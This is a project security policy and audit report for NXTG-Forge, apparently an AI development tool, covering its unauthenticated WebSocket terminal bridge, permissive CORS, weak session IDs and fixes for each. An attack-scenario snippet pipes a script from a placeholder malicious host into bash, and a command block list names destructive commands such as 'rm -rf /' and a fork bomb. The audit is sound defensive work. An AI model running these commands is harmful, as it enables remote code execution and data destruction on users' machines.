Skip to content

Security: nxtg-ai/forge

Security

SECURITY.md

NXTG-Forge Security Policy

Version: 3.0.0 Release Type: MIT Open Source Last Updated: 2026-02-05 Status: PRODUCTION HARDENING REQUIRED


Table of Contents

  1. Executive Summary
  2. Security Audit Findings
  3. Critical Issues & Remediation
  4. Security Architecture
  5. Dependency Security
  6. Incident Response
  7. Security Checklist

Executive Summary

NXTG-Forge is a next-generation AI-orchestrated development system designed for local development with multi-device access support. Current implementation has several critical security gaps that must be remediated before public release.

Risk Assessment: HIGH

Key Risks:

  • WebSocket terminal connections lack authentication
  • PTY bridge accepts unauthenticated code execution
  • CORS configured as permissive (origin: true)
  • Session IDs use weak random generation
  • No rate limiting on API endpoints
  • Feedback API lacks input validation

Audience: Developers using Claude Code CLI on local networks Threat Model: Trusted local network assumed; untrusted remote network access NOT supported


Security Audit Findings

1. Hardcoded Secrets & Credentials

Status: PASS

Evidence:

  • .env file is in .gitignore (line 39-44)
  • .env.example contains no secrets - only example configuration
  • .env.local, *.env, and *.env.* patterns properly excluded
  • No hardcoded API keys found in TypeScript source code
  • AI integration uses Claude Code CLI (user's pro subscription) - no API key needed

Finding:

Location: /home/axw/projects/NXTG-Forge/v3
Files Checked: All .ts/.tsx files in src/
Result: NO hardcoded secrets detected

Recommendation: PASS - Continue current practice of environment-based configuration


2. PTY Bridge Security

Status: CRITICAL RISK

Vulnerable Code:

// src/server/pty-bridge.ts, lines 131-183
wss.on("connection", async (ws: WebSocket, request: http.IncomingMessage) => {
  // NO AUTHENTICATION CHECK
  // NO SESSION VALIDATION
  const url = new URL(request.url!, `http://${request.headers.host}`);
  const runspaceId = url.searchParams.get("runspace");

  // Access granted immediately
  const runspace = runspaceManager.getActiveRunspace();
  const ptySession = await wslBackend.attachPTY(runspace!);

  // Message handler with NO command filtering
  ws.on("message", (message: Buffer) => {
    const data = JSON.parse(message.toString());
    switch (data.type) {
      case "input":
        session.pty.pty.write(data.data); // Direct shell access
      case "execute":
        executeCommand(session.pty, session, data.command); // No sanitization
    }
  });
});

Issues:

Issue Severity Impact
No WebSocket authentication CRITICAL Remote code execution by any network client
Session ID weakness (Math.random) HIGH Session hijacking via brute force
No command filtering CRITICAL Unrestricted destructive operations
No origin verification HIGH CSRF attacks from malicious sites
No rate limiting MEDIUM DoS via command flood
Weak session generation HIGH 36^7 combinations = 78 billion (brute-forceable)

Attack Scenario:

// Attacker on same network can:
const ws = new WebSocket('ws://192.168.1.206:5051/terminal');
ws.onopen = () => {
  ws.send(JSON.stringify({
    type: 'execute',
    command: 'curl http://malicious-site.com/malware.sh | bash'
  }));
};

Remediation Required:

  1. Implement Authentication for WebSocket

    // Add token validation before PTY access
    wss.on("connection", async (ws: WebSocket, request: http.IncomingMessage) => {
      const url = new URL(request.url!, `http://${request.headers.host}`);
      const authToken = url.searchParams.get("token");
    
      if (!authToken || !validateToken(authToken)) {
        ws.close(4001, "Unauthorized");
        return;
      }
    
      // Continue with PTY setup
    });
  2. Use Cryptographically Secure Session IDs

    import { randomBytes } from 'crypto';
    
    const sessionId = randomBytes(32).toString('hex'); // 256-bit entropy
  3. Implement Origin Verification

    const allowedOrigins = [
      'http://localhost:5050',
      'http://127.0.0.1:5050',
      // Only local origins in development
    ];
    
    if (!allowedOrigins.includes(request.headers.origin || '')) {
      ws.close(4003, "Forbidden");
      return;
    }
  4. Add Command Filtering

    const DANGEROUS_COMMANDS = [
      'rm -rf /',
      'dd if=/dev/zero',
      'fork {}', // bash bomb
      ':(){:|:&};:', // another bash bomb
    ];
    
    function isCommandDangerous(cmd: string): boolean {
      return DANGEROUS_COMMANDS.some(dangerous => cmd.includes(dangerous));
    }
  5. Implement Rate Limiting

    const sessionRateLimits = new Map<string, number[]>();
    
    function checkRateLimit(sessionId: string, now = Date.now()): boolean {
      const times = sessionRateLimits.get(sessionId) || [];
      const recent = times.filter(t => now - t < 60000); // 1 minute window
    
      if (recent.length >= 100) {
        return false; // Rate limit exceeded
      }
    
      recent.push(now);
      sessionRateLimits.set(sessionId, recent);
      return true;
    }

Timeline: FIX BEFORE RELEASE - This is blocking public release


3. WebSocket Connection Security

Status: MEDIUM RISK

Vulnerable Code:

// src/server/api-server.ts, lines 119-150
const clients = new Set<WebSocket>();

wss.on("connection", (ws) => {
  clients.add(ws);
  // NO AUTH

  ws.on("message", (data) => {
    try {
      const message = JSON.parse(data.toString());
      handleWSMessage(ws, message);
    } catch (error) {
      console.error("Invalid WebSocket message:", error);
    }
  });
});

Issues:

  • No authentication on main WebSocket server
  • Parses untrusted JSON without schema validation
  • Broadcast function sends state to unauthenticated clients
  • No message size limits

Remediation:

// Add Zod schema validation
const WSMessageSchema = z.object({
  type: z.enum([
    'ping',
    'state.update',
    'command.execute',
    'pong',
    'heartbeat'
  ]),
  payload: z.unknown().optional(),
  correlationId: z.string().optional(),
});

const MAX_MESSAGE_SIZE = 1024 * 100; // 100KB limit

wss.on("connection", (ws) => {
  // Validate origin on upgrade
  const origin = ws.upgradeReq.headers.origin;
  if (!isLocalOrigin(origin)) {
    ws.close(4003, "Forbidden");
    return;
  }

  clients.add(ws);

  ws.on("message", (data) => {
    if (data.length > MAX_MESSAGE_SIZE) {
      ws.close(4009, "Message too large");
      return;
    }

    try {
      const message = JSON.parse(data.toString());
      const validated = WSMessageSchema.parse(message);
      handleWSMessage(ws, validated);
    } catch (error) {
      console.error("Invalid WebSocket message:", error);
      // Don't send detailed error to client
      ws.send(JSON.stringify({ type: 'error', message: 'Invalid message' }));
    }
  });
});

4. CORS Configuration

Status: MEDIUM RISK (Development-Appropriate)

Current Code:

// src/server/api-server.ts, lines 91-96
app.use(
  cors({
    origin: true, // Allow ALL origins
    credentials: true,
  }),
);

Issue: Permissive CORS enables CSRF attacks from ANY website

Development Status: ACCEPTABLE for local development Production Status: UNACCEPTABLE for public release

Remediation for Production:

const allowedOrigins = [
  'http://localhost:5050',
  'http://localhost:5051',
  'http://127.0.0.1:5050',
  'http://127.0.0.1:5051',
  // Add user's configured domains if multi-device access needed
];

app.use(
  cors({
    origin: (origin, callback) => {
      // Allow requests with no origin (like curl, Postman, or mobile apps)
      if (!origin) return callback(null, true);

      if (allowedOrigins.includes(origin)) {
        callback(null, true);
      } else {
        callback(new Error('CORS not allowed'));
      }
    },
    credentials: true,
    methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
    allowedHeaders: ['Content-Type', 'Authorization'],
  }),
);

5. Input Validation

Status: GOOD (with gaps)

Evidence:

  • Zod validation schemas implemented ✓
  • Path traversal protection in place ✓
  • XSS prevention via React (automatic) ✓
  • Command injection tests present ✓

Test Coverage:

// src/test/security/input-validation.test.ts
- XSS prevention: Regex blocking <script>, javascript:, onerror=
- Command injection: Blocking shell metacharacters [<>{}();&|$`]
- Path traversal: Blocking "..", absolute paths outside .claude/
- File extensions: Whitelist enforcement (.md, .json, .jsonl, .yml, .yaml, .log)
- Rate limiting: Per-user request window tracking

Gap Found:

Feedback API lacks validation:

// src/server/api-server.ts, lines 2003-2040
app.post("/api/feedback", async (req, res) => {
  const { rating, category, description, url, userAgent, timestamp } = req.body;

  // Missing validation on description field
  // Missing rate limiting
  // Should validate rating is 1-5
  // Should validate category is whitelisted
});

Remediation:

const FeedbackSchema = z.object({
  rating: z.number().min(1).max(5),
  category: z.enum([
    'bug',
    'feature-request',
    'performance',
    'ui-ux',
    'documentation',
    'other'
  ]),
  description: z.string()
    .min(10)
    .max(5000)
    .refine(val => !/[<>{}();&|$`]/i.test(val), {
      message: 'Description contains invalid characters'
    }),
  url: z.string().url().optional(),
  userAgent: z.string().optional(),
  timestamp: z.string().datetime().optional(),
});

app.post("/api/feedback", async (req, res) => {
  try {
    const validated = FeedbackSchema.parse(req.body);
    // Process validated feedback
  } catch (error) {
    return res.status(400).json({
      success: false,
      error: 'Invalid feedback data'
    });
  }
});

6. Dependency Vulnerabilities

Status: 1 HIGH VULNERABILITY FOUND

npm audit Results:

HIGH: @isaacs/brace-expansion <= 5.0.0
CVE: GHSA-7h2j-956f-4vf2
Type: Uncontrolled Resource Consumption
CVSS: Not scored
Fix Available: Yes

Remediation:

npm audit fix

This vulnerability is in an indirect dependency and can be patched by npm automatically.


7. Authentication & Authorization

Status: NOT IMPLEMENTED (By Design)

Current Model:

  • Local development tool (no user accounts)
  • Assumes trusted local network
  • Single-user on developer machine
  • No multi-tenant isolation

For Open Source Release:

  • This is ACCEPTABLE for a local dev tool
  • Document clearly: "Not for untrusted network access"
  • Add warnings in startup logs

If multi-user support added later:

// Would need JWT + RBAC
import jwt from 'jsonwebtoken';

const JWT_SECRET = process.env.JWT_SECRET;

function generateToken(userId: string): string {
  return jwt.sign({ sub: userId }, JWT_SECRET, {
    expiresIn: '24h',
    algorithm: 'HS256'
  });
}

function verifyToken(token: string): any {
  return jwt.verify(token, JWT_SECRET);
}

// Middleware
app.use((req, res, next) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  try {
    req.user = verifyToken(token);
    next();
  } catch {
    res.status(401).json({ error: 'Invalid token' });
  }
});

8. Error Handling & Information Disclosure

Status: GOOD

Evidence:

  • Generic error messages returned to clients
  • Detailed errors only logged server-side
  • Stack traces not exposed in API responses
  • Sentry error tracking optional (can be disabled)

Example (Good):

// Proper: Generic error message
res.status(500).json({
  success: false,
  error: "Failed to initialize worker pool"
});

// Not: Exposing details
// res.status(500).json({ error: error.stack });

9. Logging & Audit Trail

Status: BASIC (Suitable for dev tool)

Current Logging:

  • Console logs for all major operations
  • Sentry integration for error tracking
  • Memory service tracks governance events
  • Sentinel logs for decision audit

For Public Release:

  • Current logging is acceptable for development tool
  • Users can enable Sentry DSN for error tracking
  • No PII is logged by default
  • Session logs don't expose sensitive data

Recommendation:

// Add structured logging
import winston from 'winston';

const logger = winston.createLogger({
  level: process.env.LOG_LEVEL || 'info',
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'error.log', level: 'error' }),
    new winston.transports.File({ filename: 'combined.log' }),
  ],
});

// Log security events
logger.info('WebSocket connection', {
  sessionId,
  timestamp: new Date().toISOString(),
  // Don't log sensitive data
});

10. Rate Limiting

Status: NOT IMPLEMENTED (Missing)

Risk: API endpoints lack rate limiting - vulnerable to DoS

Endpoints Needing Rate Limiting:

  • POST /api/feedback - Should limit to 10 req/hour per IP
  • POST /api/commands/execute - Should limit to 100 req/minute per session
  • POST /api/workers/tasks - Should limit to 50 req/minute
  • All other endpoints - 200 req/minute default

Implementation:

import rateLimit from 'express-rate-limit';

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // Limit each IP to 100 requests per windowMs
  message: 'Too many requests, please try again later.',
  standardHeaders: true, // Return rate limit info in RateLimit-* headers
  legacyHeaders: false, // Disable X-RateLimit-* headers
});

// Apply to all routes
app.use('/api/', limiter);

// Stricter limits for sensitive endpoints
const strictLimiter = rateLimit({
  windowMs: 60 * 1000, // 1 minute
  max: 5,
});

app.post('/api/feedback', strictLimiter, (req, res) => {
  // Handle feedback
});

Critical Issues & Remediation

Priority 1: BLOCKING RELEASE

Issue File Line Fix Time Status
PTY Bridge No Auth pty-bridge.ts 131 4 hours NOT DONE
Weak Session IDs pty-bridge.ts 211 1 hour NOT DONE
No Command Filtering pty-bridge.ts 70-78 2 hours NOT DONE
No Origin Verification pty-bridge.ts 44-52 1 hour NOT DONE

Priority 2: BEFORE RELEASE

Issue File Line Fix Time Status
npm audit HIGH package.json - 0.5 hour FIXABLE
WebSocket Auth api-server.ts 119 2 hours NOT DONE
Feedback Validation api-server.ts 2003 1 hour NOT DONE
Rate Limiting api-server.ts - 2 hours NOT DONE
CORS Hardening api-server.ts 91 1 hour NOT DONE

Priority 3: NICE TO HAVE

Issue File Line Fix Time Status
Structured Logging utils/logger.ts - 2 hours NOT DONE
Winston Integration - - 1 hour NOT DONE
Security Headers api-server.ts - 1 hour NOT DONE

Security Architecture

Trust Model

Threat Level: LOCAL NETWORK ONLY (Not Internet)

Trusted Actors:
- Developer running NXTG-Forge on their machine
- Other machines on same physical network (WiFi/LAN)
- Claude Code CLI (user's own account)

Untrusted Actors:
- Remote internet access
- Other users on developer's machine
- Malicious websites
- Network sniffers (unless TLS added)

Defense Layers (Current)

Layer 1: Code Validation (Implemented)
├── Input schema validation (Zod)
├── Path traversal blocking
└── XSS prevention (React automatic)

Layer 2: Access Control (MISSING)
├── Authentication (WebSocket)
├── Session validation
└── Origin verification

Layer 3: Resource Protection (PARTIAL)
├── Rate limiting (MISSING)
├── Message size limits (PARTIAL)
└── Session timeout (5 minutes)

Layer 4: Observability (BASIC)
├── Console logging
├── Sentry integration (optional)
└── Governance event tracking

Recommended Architecture (Post-Release)

Layer 1: Network (Add)
├── TLS/WSS for multi-device access
├── Firewall rules (documented)
└── VPN recommendation for remote

Layer 2: Authentication (Add)
├── Token-based for WebSocket
├── HMAC signing for critical operations
└── Session binding to IP/user-agent

Layer 3: Authorization (Add if multi-user)
├── Role-based access control
├── Command whitelisting
└── Resource quotas per session

Layer 4: Encryption (Optional)
├── AES-256 for state files
├── Encrypted session storage
└── HTTPS for all API calls

Dependency Security

Current Status

Direct Dependencies: 375 Dev Dependencies: 234 Total: 683 Vulnerabilities Found: 1 HIGH

Vulnerability Report

Package: @isaacs/brace-expansion
Version: 5.0.0
Severity: HIGH
Type: Uncontrolled Resource Consumption (CWE-1333)
Affected Range: <=5.0.0
Fix Available: npm audit fix
Status: NOT IN DIRECT DEPENDENCIES (indirect via glob)
Impact: Low (glob is only used in file matching, not user-controlled input)

Dependency Management

Security Updates:

  1. Run npm audit before each release
  2. Keep Node.js >= 18.0.0
  3. No external API keys needed (uses Claude Code CLI)
  4. Critical dependencies:
    • Express: Web framework
    • ws: WebSocket
    • zod: Input validation
    • React: Frontend framework

No dependencies on:

  • Outdated crypto libraries
  • Unmaintained packages
  • Packages with known exploits

Incident Response

Security Incident Report Process

  1. Discovery: Report to security contact
  2. Verification: Confirm the vulnerability
  3. Assessment: Evaluate severity and impact
  4. Notification: Alert affected users
  5. Remediation: Develop and test fix
  6. Release: Issue patch version
  7. Post-Mortem: Analyze root cause

Contact

For security vulnerabilities, create an issue marking security label on GitHub.


Security Checklist

Before Public Release

  • PTY Bridge Authentication - Implement token validation
  • Session ID Strength - Use crypto.randomBytes(32)
  • Command Filtering - Block dangerous operations
  • Origin Verification - Only accept local origins
  • Dependency Audit - Run npm audit fix
  • CORS Hardening - Whitelist allowed origins
  • WebSocket Auth - Validate tokens on connection
  • Feedback Validation - Add Zod schema
  • Rate Limiting - Implement express-rate-limit
  • Security Headers - Add helmet.js or manual headers
  • Error Handling - Verify no stack traces exposed
  • Logging - Ensure no sensitive data logged
  • Documentation - Add SECURITY.md to repo
  • Testing - Run npm run test:security

Ongoing Maintenance

  • Monthly: Run npm audit
  • Quarterly: Security code review
  • Annually: Full penetration test
  • Per-release: Security audit pass
  • Per-commit: Lint check for secrets

Deployment Checklist

  • NODE_ENV=production
  • All security middleware enabled
  • Error tracking configured (Sentry)
  • Rate limiting active
  • CORS properly scoped
  • TLS enabled for multi-device
  • Firewall rules documented
  • Security headers configured
  • Audit logging enabled
  • Backup/restore tested

Recommendations Summary

Immediate Actions (This Week)

  1. Fix PTY Bridge (CRITICAL)

    • Add authentication via token
    • Use secure random session IDs
    • Add command filtering
    • Implement origin verification
  2. Fix Dependencies

    npm audit fix
  3. Add Input Validation

    • Feedback API schema
    • WebSocket message validation

Before Release (Next Sprint)

  1. Implement Rate Limiting
  2. Add Security Headers
  3. Document Security Policy
  4. Security Review Process

Post-Release (Ongoing)

  1. Monthly Audits
  2. User Feedback Loop
  3. Incident Response Process
  4. Community Security Guidelines

References


Document History

Date Author Change
2026-02-05 Forge Security Agent Initial comprehensive audit
- - -

Status: PENDING IMPLEMENTATION Risk Level: HIGH (DO NOT RELEASE PUBLICLY WITHOUT FIXES) Next Review: After Priority 1 fixes complete

There aren’t any published security advisories